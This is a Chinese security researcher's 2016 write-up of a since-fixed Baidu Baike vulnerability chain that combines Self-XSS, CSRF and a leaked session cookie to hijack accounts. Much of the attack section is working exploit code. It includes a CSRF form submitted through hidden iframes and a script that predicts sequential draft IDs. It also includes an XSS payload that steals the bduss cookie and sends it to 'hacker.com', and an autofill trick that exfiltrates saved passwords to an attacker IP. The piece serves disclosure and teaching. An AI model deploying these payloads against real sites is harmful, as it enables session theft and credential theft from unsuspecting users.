[+] Author: fridayy
[+] Team: n0tr00t security team
[+] From: http://www.n0tr00t.com
[+] Create: 2016-09-07

0x01 从信息泄露说起

随着 WEB 的不断发展,前端越来越复杂,交互也越来越多。在前后端交互的过程中,往往会需要在页面 /API 中输出许多冗余的东西。导致开发人员一不小心就会把敏感信息输出,例:passwordhttponly cookieaccess_token 等。

回到这次要分析的漏洞上来,百度百科在 http://baike.baidu.com/mall 的 HTML 源码中输出了 bduss(核心cookie,httponly),可以利用泄露的 bduss 直接获得用户的登录状态,目前漏洞已经修复。从 HttpOnly 隐私嗅探器 中借张截图,原理相同:

本文将详细讲述,如何利用 Self-XSS 配合 CSRF、信息泄露漏洞,从而控制受害者的百度账户。

0x02 鸡肋的 Self-XSS

托了托镜框我找到了这个 Self-XSS :

冷门词条 - 》点击编辑 -》 插入参考资料 -》 保存到草稿箱 -》 从草稿箱找到对应草稿 -》 点击编辑重新进入编辑页面 -》 代码执行:

但这个漏洞需要的用户交互太多了,几乎没法利用,有没有什么办法来简化这个过程呢?

0x03 易被忽略的 CSRF

我们先来简单梳理一下这个跨站漏洞(图):

完整的利用过程,需要和服务器交互三次,我们挨个分析:

我愉快的发现,保存到草稿箱的操作,是存在 CSRF 漏洞的(没有验证token,也没有验证referer),利用 iframe 来提交:

submit.html

    <form id="form" method="post" action="http://baike.baidu.com/editdraftsave" enctype="multipart/form-data">
        <input type="input" name="from" value="">
        <input type="input" name="album" value="">
        <input type="input" name="lemmaTitle" value="敢不敢点→_→的《继续编辑》">
        <!--省略一些input-->
        ...
        <!--payload-->
        <input type="input" name="reference" value='[{"type":2,"author":"[[payload]]","title":"1","publisher":"1","place":"1","publishYear":"1","refPage":"1","index":1}]'>
    </form>

    <script type="text/javascript">
        document.getElementById("form").submit();
    </script>

index.html

    <iframe src="submit.html"></iframe>
    <script>
    // 提交草稿完成后,跳转到草稿浏览页,引导用户点击编辑按钮
    setTimeout("window.location.href='http://baike.baidu.com/usercenter/lemmas#drafts'", 5000)
    </script>
    <!--一些伪装-->

当用户点击了攻击者的链接 5 秒后,会跳转到百科的草稿浏览页,如下所示:

当用户点击了继续编辑之后,Payload 执行。但需要用户交互的XSS,有没有什么办法能绕过用户交互来执行 Payload 呢?

0x04 Tricks

编辑草稿(执行payload)的URL为:http://baike.baidu.com/wikisubmit/draftload?type=draft&id={{draft_id}} 。想去掉用户交互的环节,就要想办法获取到draft_id

在保存草稿的时候,服务器在 http response 里返回了draft_id,但我们是利用 iframe 发起的 http 请求,由于跨域策略的限制,并不能获得 http response。

托了托镜框,发现突破点:草稿ID是连续的。也就是说我们可以尝试预测draft_id

简化后的利用思路如下图所示:

当受害者访问攻击者提供的页面时,hacker 服务器会提交一次草稿(利用攻击者的账户信息),获取当前ID(记为hack_id)。hacker 服务器返回给用户的页面,会在前端连续发出多次保存草稿的请求(利用受害者的账户信息)。由于请求发出的时间间隔很短,可以认为 hack_id 跟后续用户保存的草稿编号连续。5秒后,跳转到 http://baike.baidu.com/wikisubmit/draftload?type=draft&id={{ hack_id + 3 }} (或者小于前端发出请求次数的其他数字)。

伪代码:

@app.route('/')
def test():
    myid = int(getId())
    return render_template('form.html', myid=myid)

def getId():
    req = requests.post(url='http://baike.baidu.com/editdraftsave', data=data, headers={'Cookie': 'BDUSS={{hacker's bduss}}'})
    num = req.content.split('"draftId":')[1].split('}')[0]
    return num

form.html

 <script type="text/javascript">
            setTimeout("window.location.href='http://baike.baidu.com/wikisubmit/draftload?type=draft&id={{ myid }}'", 5000)
</script>
<iframe src="submit.html" style="opacity:0"></iframe>
<iframe src="submit.html" style="opacity:0"></iframe>
<iframe src="submit.html" style="opacity:0"></iframe>
<iframe src="submit.html" style="opacity:0"></iframe>
<iframe src="submit.html" style="opacity:0"></iframe>

折腾了这么多,终于可以做到像普通反射性XSS一样,受害者点击某个链接,不经过用户交互 "直接" 执行攻击代码了。

0x05 Test Exploit

有了一个很好用的无视 XSS Auditor 漏洞后,接下来就是要综合利用这个漏洞,做点儿坏事情 (嘿嘿嘿 ,我们开头提到了,bduss 被输出在了 http://baike.baidu.com/mall 的源码中,构造代码如下:

<img src=1 onerror=xmlHttp=new&nbsp;XMLHttpRequest();xmlHttp.open('GET','/mall');xmlHttp.send();xmlHttp.onreadystatechange=function(){if(xmlHttp.readyState==4){data=xmlHttp.responseText;bduss=data.substr(data.search('bduss')+8,192);window.location.href='http://hacker.com/'+bduss);}}>

最终效果是用户访问恶意链接后,会将 bduss 发送到攻击者的服务器。攻击者利用 bduss 就可以控制用户的百度账户了。抛开这个XSS,还有一些其他的利用方法,如:浏览器会记录用户的常用密码和账户,用于自动填充。虽然只会填充对应域名下的输入框,但对输入框的校验很宽松,用如下的代码即可触发自动填充:

<form>
    <input type="text" id="us2r">
    <input type="password" id="p4ss">
</form>

<script>
var img=document.createElement('img')
img.src="http://{{ hacker's ip }}/?data=" + us2r.value + ":" + p4ss.value
document.body.appendChild(img)
</script>

安全是一个整体,看似没什么危害的洞,在特定情况下也会发挥奇效。

最后,欢迎对 XSS 利用有各种猥琐想法的同学来交流,微博 @Fr1day


源链接

Hacking more

...